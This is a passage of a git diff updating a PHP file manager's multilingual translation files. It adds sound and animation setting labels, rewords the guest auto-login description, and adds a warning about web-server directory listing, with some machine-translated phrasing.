+ "auto_login_desc" => "O usuario por defecto do usuarioguest/guestusuarios; despois da apertura para garantir que o usuario existe", "first_in" => "Tras a identificación no estándar", "version_vip_free" => "Free", "version_vip_1" => "VIP 1", @@ -223,6 +224,7 @@ return array( "php_env_error_mb_string" => "mb_string pechado", "php_env_error_file" => "file_get_contents non abertas", "php_env_error_path" => "non escribir", + "php_env_error_list_dir" => "O seu servidor web abre o directorio de recursos list por razóns de seguridade, desactivar este recurso!como?", "php_env_error_gd" => "biblioteca PHP GD debe ser aberta, se non, o código, utilice a miniatura non funcionará correctamente", "install_login" => "Pode utilizar o seguinte sesión da conta", "install_enter" => "o sistema", diff --git a/config/i18n/hi/main.php b/config/i18n/hi/main.php index 6e9b4b0..67031b8 100755 --- a/config/i18n/hi/main.php +++ b/config/i18n/hi/main.php @@ -6,7 +6,8 @@ return array( "share_can_upload" => "अपलोड की अनुमति", "move_error" => "ले जाएँ विफल रहा है", "setting_basic" => "मूल सेटिंग्स", - "setting_user_animage_show" => "एनीमेशन ओपन", + "setting_user_sound_open" => "ओपन ध्वनि", + "setting_user_animate_open" => "एनीमेशन ओपन", "recycle_open_if" => "रीसायकल बिन खोलें", "recycle_open" => "खुला", "qrcode" => "यूआरएल क्यूआर कोड", @@ -197,7 +198,7 @@ return array( "new_user_app" => "नई उपयोगकर्ता डिफ़ॉल्ट एप्लिकेशन द्वारा बनाई गई है", "new_user_app_desc" => "एप्लीकेशन अनुप्रयोग केंद्र, अल्पविराम के द्वारा अलग की बहुलता", "auto_login" => "आगंतुकों को स्वत: लॉगिन", - "auto_login_desc" => "अतिथिडिफ़ॉल्ट लॉगिन उपयोगकर्ता नाम; उद्घाटन के बादअतिथिउपयोगकर्ता उपस्थिति सुनिश्चित करने के लिए", + "auto_login_desc" => "डिफ़ॉल्ट लॉगिन उपयोगकर्ताguest/guestउपयोगकर्ताओं; उद्घाटन के बाद यह सुनिश्चित करें कि उपयोगकर्ता मौजूद है", "first_in" => "डिफ़ॉल्ट में प्रवेश करने के बाद", "version_vip_free" => "Free", "version_vip_1" => "VIP 1", @@ -223,6 +224,7 @@ return array( "php_env_error_mb_string" => "बंद mb_string", "php_env_error_file" => "बंद file_get_contents", "php_env_error_path" => "लिखने योग्य नहीं", + "php_env_error_list_dir" => "अपने वेब सर्वर निर्देशिका सुरक्षा कारणों के लिए सुविधा लिस्टिंग को खोलता है, इस सुविधा को अक्षम!कैसे?", "php_env_error_gd" => "PHP जी.डी. पुस्तकालय खोलने, अन्यथा कोड होना चाहिए, थंबनेल का उपयोग ठीक ढंग से काम नहीं चलेगा", "install_login" => "आप निम्न खाते में प्रवेश के लिए उपयोग कर सकते", "install_enter" => "प्रणाली", diff --git a/config/i18n/hr/main.php b/config/i18n/hr/main.php index 65c9c31..a4ac836 100755 --- a/config/i18n/hr/main.php +++ b/config/i18n/hr/main.php @@ -6,7 +6,8 @@ return array( "share_can_upload" => "Dopusti učitavanje", "move_error" => "Premještanje nije uspjelo", "setting_basic" => "Osnovne postavke", - "setting_user_animage_show" => "Otvoreno animacije", + "setting_user_sound_open" => "Otvoreno zvuka", + "setting_user_animate_open" => "Otvoreno animacije", "recycle_open_if" => "Otvorite koš za smeće", "recycle_open" => "Otvoreno", "qrcode" => "URL QR kod", @@ -197,7 +198,7 @@ return array( "new_user_app" => "Novi korisnik stvorio zadanu aplikaciju", "new_user_app_desc" => "Aplikacije Application Center, mnoštvo odvojene zarezima", "auto_login" => "Posjetitelji Automatska prijava", - "auto_login_desc" => "gostzadana prijavu korisničko ime, nakon otvaranja kako bi se osiguraloanonimnikorisnički prisutnost", + "auto_login_desc" => "Zadana Prijava korisnikaguest/guestkorisnik, nakon otvaranja kako bi se osiguralo da korisnik ne postoji", "first_in" => "Nakon prijave u zadanom", "version_vip_free" => "Free", "version_vip_1" => "VIP 1", @@ -223,6 +224,7 @@ return array( "php_env_error_mb_string" => "neotvoren mb_string", "php_env_error_file" => "neotvorene file_get_contents", "php_env_error_path" => "nije moguće pisati", + "php_env_error_list_dir" => "Vaš web poslužitelj otvara imenik značajku unos iz sigurnosnih razloga, isključiti tu mogućnost!kako?", "php_env_error_gd" => "PHP GD knjižnica treba biti otvoren, inače kod, koristiti sličice neće ispravno", "install_login" => "Možete koristiti sljedeće račun za prijavu", "install_enter" => "sustav", diff --git a/config/i18n/hu/main.php b/config/i18n/hu/main.php index 7cd1390..6f77295 100755 --- a/config/i18n/hu/main.php +++ b/config/i18n/hu/main.php @@ -6,7 +6,8 @@ return array( "share_can_upload" => "feltöltés engedélyezése", "move_error" => "Az áthelyezés sikertelen", "setting_basic" => "Alapbeállítások", - "setting_user_animage_show" => "Nyílt animáció", + "setting_user_sound_open" => "Open Sound", + "setting_user_animate_open" => "Nyílt animáció", "recycle_open_if" => "Nyissa meg a Lomtár", "recycle_open" => "nyílt", "qrcode" => "URL QR-kód", @@ -197,7 +198,7 @@ return array( "new_user_app" => "Az új felhasználó által létrehozott alapértelmezett alkalmazás", "new_user_app_desc" => "Alkalmazások Application Center, több vesszővel elválasztva", "auto_login" => "A látogatók az automatikus bejelentkezés", - "auto_login_desc" => "Az alapértelmezett bejelentkezési felhasználónévvendégszámára; nyitás után, hogy biztosítsavendéga felhasználó jelenlétét", + "auto_login_desc" => "Az alapértelmezett bejelentkezési felhasználóiguest/guestszámára; megnyitása után annak érdekében, hogy a felhasználó létezik", "first_in" => "A bejelentkezés után az alapértelmezett", "version_vip_free" => "Free", "version_vip_1" => "VIP 1", @@ -223,6 +224,7 @@ return array( "php_env_error_mb_string" => "Bontatlan mb_string", "php_env_error_file" => "Bontatlan file_get_contents", "php_env_error_path" => "nem írható", + "php_env_error_list_dir" => "A web szerver nyit a könyvtár lista funkció biztonsági okokból letiltja ezt a funkciót!hogyan?", "php_env_error_gd" => "PHP GD nyitottnak kell lennie, különben a kódot, a miniatűr nem fog megfelelően működni", "install_login" => "Használhatja a következő fiók bejelentkezési", "install_enter" => "A rendszer", diff --git a/config/i18n/id/main.php b/config/i18n/id/main.php index da0fed2..ae5eb03 100755 --- a/config/i18n/id/main.php +++ b/config/i18n/id/main.php @@ -6,7 +6,8 @@ return array( "share_can_upload" => "memungkinkan meng-upload", "move_error" => "Pindahkan gagal", "setting_basic" => "Pengaturan dasar", - "setting_user_animage_show" => "terbuka Animasi", + "setting_user_sound_open" => "Open Sound", + "setting_user_animate_open" => "terbuka Animasi", "recycle_open_if" => "Buka Recycle Bin", "recycle_open" => "terbuka", "qrcode" => "URL kode QR", @@ -197,7 +198,7 @@ return array( "new_user_app" => "Pengguna baru dibuat oleh aplikasi default", "new_user_app_desc" => "Aplikasi Aplikasi Pusat, pluralitas dipisahkan dengan koma", "auto_login" => "Pengunjung login otomatis", - "auto_login_desc" => "tamudefault login nama pengguna, setelah pembukaan untuk memastikantamu keberadaan pengguna", + "auto_login_desc" => "Default login userguest/guestpengguna; setelah pembukaan untuk memastikan bahwa pengguna ada", "first_in" => "Setelah masuk ke default", "version_vip_free" => "Free", "version_vip_1" => "VIP 1", @@ -223,6 +224,7 @@ return array( "php_env_error_mb_string" => "mb_string belum dibuka", "php_env_error_file" => "file_get_contents belum dibuka", "php_env_error_path" => "tidak dapat ditulis", + "php_env_error_list_dir" => "server web Anda membuka daftar direktori fitur untuk alasan keamanan, menonaktifkan fitur ini!bagaimana?", "php_env_error_gd" => "Php GD library harus terbuka, jika tidak kode, gunakan thumbnail tidak akan berfungsi dengan baik", "install_login" => "Anda dapat menggunakan login account berikut", "install_enter" => "sistem", diff --git a/config/i18n/it/main.php b/config/i18n/it/main.php index 0c0faf7..e1e4d1e 100755 --- a/config/i18n/it/main.php +++ b/config/i18n/it/main.php @@ -6,7 +6,8 @@ return array( "share_can_upload" => "consentire Carica", "move_error" => "spostare fallito", "setting_basic" => "Impostazioni di base", - "setting_user_animage_show" => "aperto Animazione", + "setting_user_sound_open" => "Open Sound", + "setting_user_animate_open" => "aperto Animazione", "recycle_open_if" => "Aprire il Cestino", "recycle_open" => "aperto", "qrcode" => "URL codice QR", @@ -197,7 +198,7 @@ return array( "new_user_app" => "Il nuovo utente viene creato da app di default", "new_user_app_desc" => "Applicazioni Application Center, una pluralità di separati da virgole", "auto_login" => "Visitatori accesso automatico", - "auto_login_desc" => "ospite nome utentelogin di default, dopo l'apertura per garantireospitepresenza dell'utente", + "auto_login_desc" => "L'account di accesso predefinita dell'utenteguest/guestutenti; dopo l'apertura per garantire che l'utente esiste", "first_in" => "Dopo l'accesso al predefinita", "version_vip_free" => "Free", "version_vip_1" => "VIP 1", @@ -223,6 +224,7 @@ return array( "php_env_error_mb_string" => "mb_string unopened", "php_env_error_file" => "file_get_contents non aperti", "php_env_error_path" => "non scrivibile", + "php_env_error_list_dir" => "Il server Web apre la directory caratteristica messa in vendita per ragioni di sicurezza, disattivare questa funzione!come?", "php_env_error_gd" => "libreria PHP GD deve essere aperto, altrimenti il ​​codice, utilizzare la miniatura non funzionerà correttamente", "install_login" => "È possibile utilizzare il seguente conto di login", "install_enter" => "Il sistema", diff --git a/config/i18n/ja/main.php b/config/i18n/ja/main.php index 2819b02..ee9bf97 100755 --- a/config/i18n/ja/main.php +++ b/config/i18n/ja/main.php @@ -6,7 +6,8 @@ return array( "share_can_upload" => "アップロードを許可します", "move_error" => "移動に失敗しました", "setting_basic" => "基本設定", - "setting_user_animage_show" => "オープンアニメーション", + "setting_user_sound_open" => "オープンサウンド", + "setting_user_animate_open" => "オープンアニメーション", "recycle_open_if" => "ごみ箱を開きます", "recycle_open" => "オープン", "qrcode" => "URL QRコード", @@ -197,7 +198,7 @@ return array( "new_user_app" => "新しいユーザーは、デフォルトのアプリで作成されます", "new_user_app_desc" => "アプリケーションアプリケーションセンター、カンマで区切られた複数の", "auto_login" => "訪問者自動ログイン", - "auto_login_desc" => "ゲストデフォルトのログインユーザ名、開封後ゲストユーザーのプレゼンスを確保します", + "auto_login_desc" => "デフォルトのログインユーザguest/guestゲスト/ゲスト、開封後は、ユーザが存在することを確認します", "first_in" => "デフォルトにログインした後", "version_vip_free" => "Free", "version_vip_1" => "VIP 1", @@ -223,6 +224,7 @@ return array( "php_env_error_mb_string" => "未開封mb_string", "php_env_error_file" => "未開封のfile_get_contents", "php_env_error_path" => "書き込み可能ではありません", + "php_env_error_list_dir" => "Webサーバーは、この機能を無効にし、セキュリティ上の理由から機能をディレクトリリストを開きます!か?", "php_env_error_gd" => "PHPのGDライブラリのサムネイルを使用し、それ以外のコード開いている必要がありますが正しく機能しなくなります", "install_login" => "あなたは、次のアカウントのログイン情報を使用することができます", "install_enter" => "システム", diff --git a/config/i18n/ko/main.php b/config/i18n/ko/main.php index 56a74be..35bf1f5 100755 --- a/config/i18n/ko/main.php +++ b/config/i18n/ko/main.php @@ -6,7 +6,8 @@ return array( "share_can_upload" => "업로드 허용", "move_error" => "이동 실패", "setting_basic" => "기본 설정", - "setting_user_animage_show" => "열기 애니메이션", + "setting_user_sound_open" => "열기 사운드", + "setting_user_animate_open" => "열기 애니메이션", "recycle_open_if" => "휴지통을 엽니 다", "recycle_open" => "열린", "qrcode" => "URL QR 코드", @@ -197,7 +198,7 @@ return array( "new_user_app" => "새로운 사용자는 기본 앱으로 만들어집니다", "new_user_app_desc" => "응용 프로그램 응용 프로그램 센터, 쉼표로 구분 된 복수의", "auto_login" => "방문객 자동 로그인", - "auto_login_desc" => "게스트기본 로그인 사용자 이름, 개봉 후게스트사용자의 존재를 보장하기 위해", + "auto_login_desc" => "기본 로그인 사용자guest/guest사용자, 개봉 후는 사용자가 존재하는지 확인하기", "first_in" => "기본에 로그인 한 후", "version_vip_free" => "Free", "version_vip_1" => "VIP 1", @@ -223,6 +224,7 @@ return array( "php_env_error_mb_string" => "개봉 mb_string", "php_env_error_file" => "개봉 file_get_contents", "php_env_error_path" => "쓰기 권한이 없습니다", + "php_env_error_list_dir" => "웹 서버는 보안상의 이유로 기능을 나열하는 디렉토리를 열고,이 기능을 해제!방법?", "php_env_error_gd" => "PHP는 GD 라이브러리가 제대로 작동하지 않습니다 축소판을 사용, 그렇지 않으면 코드가 열려 있어야합니다", "install_login" => "다음 계정 로그인을 사용할 수 있습니다", "install_enter" => "시스템", diff --git a/config/i18n/lt/main.php b/config/i18n/lt/main.php index 560d137..2d24ae7 100755 --- a/config/i18n/lt/main.php +++ b/config/i18n/lt/main.php @@ -6,7 +6,8 @@ return array( "share_can_upload" => "Leiskite įkelti", "move_error" => "perkelti nepavyko", "setting_basic" => "pagrindiniai nustatymai", - "setting_user_animage_show" => "Atviras Animacijos", + "setting_user_sound_open" => "Atidaryti garso", + "setting_user_animate_open" => "Atviras Animacijos", "recycle_open_if" => "Atidarykite šiukšlinę", "recycle_open" => "atidaryta", "qrcode" => "URL QR kodas", @@ -197,7 +198,7 @@ return array( "new_user_app" => "Naujas vartotojas yra sukurtas pagal nutylėjimą app", "new_user_app_desc" => "Programos Application Center, iš daugybės atskirti kableliais", "auto_login" => "Lankytojai automatiniai", - "auto_login_desc" => "svečiųnumatytąją prisijungimo vartotojo vardą, po atidarymo, siekiant užtikrintisvečiamsvartotojo buvimą", + "auto_login_desc" => "Numatytoji prisijungimo vartotojoguest/guestvartotojai; po atidarymo, siekiant užtikrinti, kad vartotojas egzistuoja", "first_in" => "Kai prisijungiate prie numatytojo", "version_vip_free" => "Free", "version_vip_1" => "VIP 1", @@ -223,6 +224,7 @@ return array( "php_env_error_mb_string" => "neatidarytas mb_string", "php_env_error_file" => "Nepradėti file_get_contents", "php_env_error_path" => "nėra įrašomas", + "php_env_error_list_dir" => "Jūsų žiniatinklio serveris atsidaro direktorijos sąrašo funkciją saugumo sumetimais, išjunkite šią funkciją!kaip?", "php_env_error_gd" => "PHP GD bibliotekos turėtų būti atvira, nes kitaip kodas, naudokite miniatiūrą neveiks tinkamai", "install_login" => "Jūs galite naudoti šią sąskaitą Prisijungimas", "install_enter" => "sistema", diff --git a/config/i18n/nl/main.php b/config/i18n/nl/main.php index 5a5465a..6dbb148 100755 --- a/config/i18n/nl/main.php +++ b/config/i18n/nl/main.php @@ -6,7 +6,8 @@ return array( "share_can_upload" => "laat upload", "move_error" => "Move is mislukt", "setting_basic" => "Basic Settings", - "setting_user_animage_show" => "Open Animation", + "setting_user_sound_open" => "Open Sound", + "setting_user_animate_open" => "Open Animation", "recycle_open_if" => "Open de Prullenbak", "recycle_open" => "open", "qrcode" => "URL QR code", @@ -197,7 +198,7 @@ return array( "new_user_app" => "De nieuwe gebruiker wordt standaard app", "new_user_app_desc" => "Toepassingen Application Center, meerdere gescheiden door komma's", "auto_login" => "Bezoekers automatisch inloggen", - "auto_login_desc" => "De standaard login gebruikersnaamgastgebruikers, na het openen om ervoor te zorgengastgebruiker aanwezigheid", + "auto_login_desc" => "De standaard login gebruikerguest/guestgebruikers, na het openen om ervoor te zorgen dat de gebruiker bestaat", "first_in" => "Na het inloggen in de standaard", "version_vip_free" => "Free", "version_vip_1" => "VIP 1", @@ -223,6 +224,7 @@ return array( "php_env_error_mb_string" => "ongeopende mb_string", "php_env_error_file" => "ongeopende file_get_contents", "php_env_error_path" => "niet beschrijfbaar", + "php_env_error_list_dir" => "Uw webserver opent de directory listing functie om veiligheidsredenen, schakelt u deze functie!hoe?", "php_env_error_gd" => "Php GD bibliotheek moet open zijn, anders wordt de code, gebruik maken van de miniatuur zal niet goed functioneren", "install_login" => "U kunt de volgende account login gebruiken", "install_enter" => "het systeem", diff --git a/config/i18n/no/main.php b/config/i18n/no/main.php index 480d4a2..8b5bc38 100755 --- a/config/i18n/no/main.php +++ b/config/i18n/no/main.php @@ -6,7 +6,8 @@ return array( "share_can_upload" => "Tillat opplasting", "move_error" => "Flytt mislyktes", "setting_basic" => "grunn~~POS=TRUNC innstillinger", - "setting_user_animage_show" => "Åpne Animasjon", + "setting_user_sound_open" => "Åpne Sound", + "setting_user_animate_open" => "Åpne Animasjon", "recycle_open_if" => "Åpne papirkurven", "recycle_open" => "åpent", "qrcode" => "URL QR-kode", @@ -197,7 +198,7 @@ return array( "new_user_app" => "Den nye brukeren er opprettet som standard app", "new_user_app_desc" => "Applikasjoner Application Center, et flertall av skilt med komma", "auto_login" => "Besøkende automatisk pålogging", - "auto_login_desc" => "Standard login brukernavngjestbrukere, etter åpning for å sikregjestbruker nærvær", + "auto_login_desc" => "Standard brukernavnguest/guestbrukere, etter åpning for å sikre at brukeren finnes", "first_in" => "Når du har logget inn standard", "version_vip_free" => "Free", "version_vip_1" => "VIP 1", @@ -223,6 +224,7 @@ return array( "php_env_error_mb_string" => "uåpnet mb_string", "php_env_error_file" => "uåpnet file_get_contents", "php_env_error_path" => "ikke skrivbar", + "php_env_error_list_dir" => "Webserveren åpnes katalogoppføring funksjonen av sikkerhetsmessige grunner, deaktivere denne funksjonen!hvordan?", "php_env_error_gd" => "Php GD biblioteket skal være åpen, ellers koden, bruker du miniatyr vil ikke fungere skikkelig", "install_login" => "Du kan bruke følgende konto login", "install_enter" => "systemet", diff --git a/config/i18n/pl/main.php b/config/i18n/pl/main.php index b157449..809adce 100755 --- a/config/i18n/pl/main.php +++ b/config/i18n/pl/main.php @@ -6,7 +6,8 @@ return array( "share_can_upload" => "Pozwól przesyłanie", "move_error" => "Przenoszenie nie powiodło się", "setting_basic" => "Podstawowe ustawienia", - "setting_user_animage_show" => "Otwarty Animacja", + "setting_user_sound_open" => "open Sound", + "setting_user_animate_open" => "Otwarty Animacja", "recycle_open_if" => "Otwórz Kosz", "recycle_open" => "otwarte", "qrcode" => "URL Kod QR", @@ -197,7 +198,7 @@ return array( "new_user_app" => "Nowy użytkownik został stworzony przez domyślnej aplikacji", "new_user_app_desc" => "Aplikacje Application Center, liczne oddzielone przecinkami", "auto_login" => "Goście automatycznego logowania", - "auto_login_desc" => "Domyślna nazwa logowaniaGośćużytkowników, po otwarciu w celu zapewnieniaGośćobecność użytkownika", + "auto_login_desc" => "Domyślną logowania użytkownikaguest/guestużytkowników; po otwarciu w celu zapewnienia, że ​​użytkownik nie istnieje", "first_in" => "Po zalogowaniu się do domyślnego", "version_vip_free" => "Free", "version_vip_1" => "VIP 1", @@ -223,6 +224,7 @@ return array( "php_env_error_mb_string" => "nieotwarte mb_string", "php_env_error_file" => "Zamknięte file_get_contents", "php_env_error_path" => "nie zapisu", + "php_env_error_list_dir" => "Serwer WWW otwiera katalog z listą funkcji ze względów bezpieczeństwa wyłączenie tej funkcji!jak?", "php_env_error_gd" => "biblioteki PHP GD powinien być otwarty, w przeciwnym wypadku kod, należy użyć miniatury nie będzie działał prawidłowo", "install_login" => "Można użyć konta następujące logowanie", "install_enter" => "System", diff --git a/config/i18n/pt/main.php b/config/i18n/pt/main.php index c5d29eb..257fba3 100755 --- a/config/i18n/pt/main.php +++ b/config/i18n/pt/main.php @@ -6,7 +6,8 @@ return array( "share_can_upload" => "permitir o envio", "move_error" => "mover falhou", "setting_basic" => "Basic Settings", - "setting_user_animage_show" => "Open Animation", + "setting_user_sound_open" => "Open Sound", + "setting_user_animate_open" => "Open Animation", "recycle_open_if" => "Abra a Lixeira", "recycle_open" => "aberto", "qrcode" => "QR code URL", @@ -197,7 +198,7 @@ return array( "new_user_app" => "O novo usuário é criado por aplicativo padrão", "new_user_app_desc" => "Aplicações Application Center, uma pluralidade de separados por vírgulas", "auto_login" => "Visitantes de login automático", - "auto_login_desc" => "O nome de usuário de login padrãoconvidadousuários; após a abertura para assegurarconvidadoa presença do utilizador", + "auto_login_desc" => "O login padrão do usuárioguest/guestusuários; após a abertura para garantir que o usuário existe", "first_in" => "Após a autenticação no padrão", "version_vip_free" => "Free", "version_vip_1" => "VIP 1", @@ -223,6 +224,7 @@ return array( "php_env_error_mb_string" => "mb_string fechado", "php_env_error_file" => "file_get_contents não abertas", "php_env_error_path" => "não gravável", + "php_env_error_list_dir" => "Seu servidor web abre o diretório de recursos listando por razões de segurança, desativar esse recurso!como?", "php_env_error_gd" => "biblioteca php GD deve ser aberta, caso contrário, o código, use a miniatura não funcionará corretamente", "install_login" => "Você pode usar o seguinte login da conta", "install_enter" => "o sistema", diff --git a/config/i18n/ro/main.php b/config/i18n/ro/main.php index 06f6dc1..66a26db 100755 --- a/config/i18n/ro/main.php +++ b/config/i18n/ro/main.php @@ -6,7 +6,8 @@ return array( "share_can_upload" => "Se permite de încărcare", "move_error" => "Mutarea nu a reușit", "setting_basic" => "Setări de bază", - "setting_user_animage_show" => "Deschideți Animație", + "setting_user_sound_open" => "Deschideți sunet", + "setting_user_animate_open" => "Deschideți Animație", "recycle_open_if" => "Deschide Coșul de reciclare", "recycle_open" => "deschis", "qrcode" => "URL-QR code", @@ -197,7 +198,7 @@ return array( "new_user_app" => "Noul utilizator este creat de aplicație implicit", "new_user_app_desc" => "Aplicații Application Center, o multitudine de separate prin virgulă", "auto_login" => "Vizitatori de conectare automată", - "auto_login_desc" => "oaspetelenume de utilizator implicit, după deschidere pentru a asiguraprezența utilizatorului oaspetele", + "auto_login_desc" => "Datele de conectare implicit utilizatorguest/guestutilizatori, după deschidere pentru a se asigura că există utilizator", "first_in" => "După logare în default", "version_vip_free" => "Free", "version_vip_1" => "VIP 1", @@ -223,6 +224,7 @@ return array( "php_env_error_mb_string" => "mb_string nedeschis", "php_env_error_file" => "file_get_contents nedeschise", "php_env_error_path" => "nu inscriptibil", + "php_env_error_list_dir" => "serverul web deschide directorul listare caracteristica din motive de securitate, dezactivați această funcție!cum?", "php_env_error_gd" => "PHP biblioteca GD ar trebui să fie deschis, în caz contrar codul, utilizați miniatura nu va funcționa corect", "install_login" => "Puteți utiliza următoarea conectare ale contului", "install_enter" => "sistemul", diff --git a/config/i18n/ru/main.php b/config/i18n/ru/main.php index 6be714f..389ded5 100755 --- a/config/i18n/ru/main.php +++ b/config/i18n/ru/main.php @@ -6,7 +6,8 @@ return array( "share_can_upload" => "Разрешить загрузку", "move_error" => "Переместить не удалось", "setting_basic" => "Основные настройки", - "setting_user_animage_show" => "Открыть Анимация", + "setting_user_sound_open" => "открытая бухта", + "setting_user_animate_open" => "Открыть Анимация", "recycle_open_if" => "Открыть корзины", "recycle_open" => "открытый", "qrcode" => "URL QR-код", @@ -197,7 +198,7 @@ return array( "new_user_app" => "Новый пользователь будет создан приложением по умолчанию", "new_user_app_desc" => "Центр прикладных приложений, множество разделенных запятыми", "auto_login" => "Посетители автоматического входа в систему", - "auto_login_desc" => "гостьимя пользователя Логин по умолчанию, после открытия для обеспечениягостяприсутствия пользователя", + "auto_login_desc" => "Логин по умолчанию пользовательguest/guestпользователей, после открытия, чтобы гарантировать, что пользователь существует", "first_in" => "После входа в значение по умолчанию", "version_vip_free" => "Free", "version_vip_1" => "VIP 1", @@ -223,6 +224,7 @@ return array( "php_env_error_mb_string" => "Неоткрытое mb_string", "php_env_error_file" => "Нераскрытые file_get_contents", "php_env_error_path" => "Не доступен для записи", + "php_env_error_list_dir" => "Ваш веб-сервер открывает каталог функцию со списком по соображениям безопасности, отключить эту функцию!как?", "php_env_error_gd" => "библиотека Php GD должна быть открыта, в противном случае код, используйте эскиз не будет функционировать должным образом", "install_login" => "Вы можете использовать следующий логин", "install_enter" => "система", diff --git a/config/i18n/si/main.php b/config/i18n/si/main.php index 6c9183a..f6807d8 100755 --- a/config/i18n/si/main.php +++ b/config/i18n/si/main.php @@ -6,7 +6,8 @@ return array( "share_can_upload" => "උඩුගත ඉඩ දෙන්න", "move_error" => "ගෙනයන්න අසාර්ථක", "setting_basic" => "මූලික සැකසුම්", - "setting_user_animage_show" => "විවෘත සජීවනය", + "setting_user_sound_open" => "විවෘත ශ්රව්ය", + "setting_user_animate_open" => "විවෘත සජීවනය", "recycle_open_if" => "පිළිසකර බඳුන විවෘත", "recycle_open" => "විවෘත", "qrcode" => "URL එක QR කේතය", @@ -197,7 +198,7 @@ return array( "new_user_app" => "නව පරිශීලක සුපුරුදු යෙදුමක් නිර්මාණය කරයි", "new_user_app_desc" => "ඉල්ලුම්පත් මධ්යස්ථානය, කොමාවකින් වෙන් බහුත්වයක්", "auto_login" => "නරඹන්නන් ස්වයංක්රීය පිවිසුම්", - "auto_login_desc" => "පෙරනිමි පිවිසුම් පරිශීලක නාමය අමුත්තන්ගේ;අමුත්තන්ගේපරිශීලක පැමිණ සහතික කිරීම සඳහා විවෘත කල පසු", + "auto_login_desc" => "ප්රකෘති පිවිසුම් පරිශීලකguest/guestආරාධිත අමුත්තා / ආරාධිත අමුත්තා; විවෘත කිරීමෙන් පසු පරිශීලක පවතින බව සහතික කිරීමට", "first_in" => "පෙරනිමි පිවිසිමෙන්ද පසු", "version_vip_free" => "Free", "version_vip_1" => "VIP 1", @@ -223,6 +224,7 @@ return array( "php_env_error_mb_string" => "හරවා mb_string", "php_env_error_file" => "හරවා file_get_contents", "php_env_error_path" => ", ලිවිය-හැකි ගොනුවක් නොවේ", + "php_env_error_list_dir" => "ඔබේ වෙබ් සේවාදායකය මෙම අංගය අක්රීය, ආරක්ෂක හේතූන් ලක්ෂණය ලැයිස්තුගත බහලුම විවෘත කරයි!කෙසේද?", "php_env_error_gd" => "Php GD පුස්තකාල සිඟිති රුව භාවිතා කරන්න, නැතහොත් එම කේතය, විවෘත විය යුතු නිසි ලෙස ක්රියාත්මක නොවන", "install_login" => "ඔබ පහත සඳහන් ගිණුම් පිවිසුම් භාවිතා කළ හැකිය", "install_enter" => "මෙම පද්ධතිය", diff --git a/config/i18n/sk/main.php b/config/i18n/sk/main.php index a9a0827..c79abaa 100755 --- a/config/i18n/sk/main.php +++ b/config/i18n/sk/main.php @@ -6,7 +6,8 @@ return array( "share_can_upload" => "povoliť nahrávanie", "move_error" => "presunúť zlyhalo", "setting_basic" => "základné nastavenie", - "setting_user_animage_show" => "otvorená Animácia", + "setting_user_sound_open" => "open Sound", + "setting_user_animate_open" => "otvorená Animácia", "recycle_open_if" => "otvorte Kôš", "recycle_open" => "otvorené", "qrcode" => "URL QR code", @@ -197,7 +198,7 @@ return array( "new_user_app" => "Nový užívateľ je vytvorený v predvolenom nastavení aplikácií", "new_user_app_desc" => "Aplikácia Application Center, niekoľko oddelených čiarkami", "auto_login" => "Návštevníci automatické prihlasovanie", - "auto_login_desc" => "Predvolené prihlasovacie menonávštevníkužívatelia, po otvorení, aby zabezpečilinávštevníkprítomnosť užívateľ", + "auto_login_desc" => "Predvolené prihlasovacie užívateľskéguest/guestužívatelia, po otvorení, aby sa zabezpečilo, že používateľ existuje", "first_in" => "Po prihlásení do východiskovej", "version_vip_free" => "Free", "version_vip_1" => "VIP 1", @@ -223,6 +224,7 @@ return array( "php_env_error_mb_string" => "neotvorené mb_string", "php_env_error_file" => "neotvorené file_get_contents", "php_env_error_path" => "nemožno zapisovať", + "php_env_error_list_dir" => "Webový server otvorí výpis adresára funkciu bezpečnostných dôvodov túto funkciu zakázať!ako?", "php_env_error_gd" => "PHP GD knižnica by mala byť otvorená, inak kód, použite miniatúru nebude správne fungovať", "install_login" => "Môžete použiť nasledovné prihlasovacie konto", "install_enter" => "systém", diff --git a/config/i18n/sl/main.php b/config/i18n/sl/main.php index cd3ecae..1ec652f 100755 --- a/config/i18n/sl/main.php +++ b/config/i18n/sl/main.php @@ -6,7 +6,8 @@ return array( "share_can_upload" => "Dovoli nalaganje", "move_error" => "Premik ni uspelo", "setting_basic" => "osnovne nastavitve", - "setting_user_animage_show" => "Odpri Animacija", + "setting_user_sound_open" => "Odpri Sound", + "setting_user_animate_open" => "Odpri Animacija", "recycle_open_if" => "Odprite koš", "recycle_open" => "Odpri", "qrcode" => "URL QR code", @@ -197,7 +198,7 @@ return array( "new_user_app" => "Nov uporabnik je ustvaril privzeto aplikacijo", "new_user_app_desc" => "Aplikacije Application Center, je množica ločenih z vejicami", "auto_login" => "Obiskovalci samodejna prijava", - "auto_login_desc" => "uporabniško ime privzeto gesloguestuporabniki, po odprtju, da se zagotoviguestprisotnost uporabnika", + "auto_login_desc" => "Privzeto geslo uporabnikaguest/guestuporabniki, po odprtju, da se zagotovi, da obstaja uporabnik", "first_in" => "Po prijavi v privzeto", "version_vip_free" => "Free", "version_vip_1" => "VIP 1", @@ -223,6 +224,7 @@ return array( "php_env_error_mb_string" => "neodprte mb_string", "php_env_error_file" => "neodprte file_get_contents", "php_env_error_path" => "ni mogoče pisati", + "php_env_error_list_dir" => "Spletni strežnik odpre imenik funkcijo seznamom iz varnostnih razlogov, onemogočite to funkcijo!kako?", "php_env_error_gd" => "PHP GD knjižnica mora biti odprt, sicer pa kodo, uporabite sličico ne bo deloval pravilno", "install_login" => "Lahko uporabite naslednje prijavo v račun", "install_enter" => "sistem", diff --git a/config/i18n/sr/main.php b/config/i18n/sr/main.php index 17e5bd4..759dcee 100755 --- a/config/i18n/sr/main.php +++ b/config/i18n/sr/main.php @@ -6,7 +6,8 @@ return array( "share_can_upload" => "dozvoli отпремање", "move_error" => "Мове фаилед", "setting_basic" => "Основне поставке", - "setting_user_animage_show" => "опен Анимација", + "setting_user_sound_open" => "опен соунд", + "setting_user_animate_open" => "опен Анимација", "recycle_open_if" => "Отворите корпу за отпатке", "recycle_open" => "отворен", "qrcode" => "УРЛ адреса КР код", @@ -197,7 +198,7 @@ return array( "new_user_app" => "Нови корисник створио подразумевану апликацију", "new_user_app_desc" => "Апликације Апликација центар, мноштво одвојене зарезима", "auto_login" => "Посетиоци Аутоматска пријава", - "auto_login_desc" => "Дефаулт Пријава Корисничко имегосткорисницима; након отварања како би се осигуралогосткорисник присуство", + "auto_login_desc" => "Корисник подразумевани Пријава guest/guestкорисника; укључен како би се осигурало да постоји корисник", "first_in" => "Након пријављивања на подразумевано", "version_vip_free" => "Free", "version_vip_1" => "VIP 1", @@ -223,6 +224,7 @@ return array( "php_env_error_mb_string" => "неотворена мб_стринг", 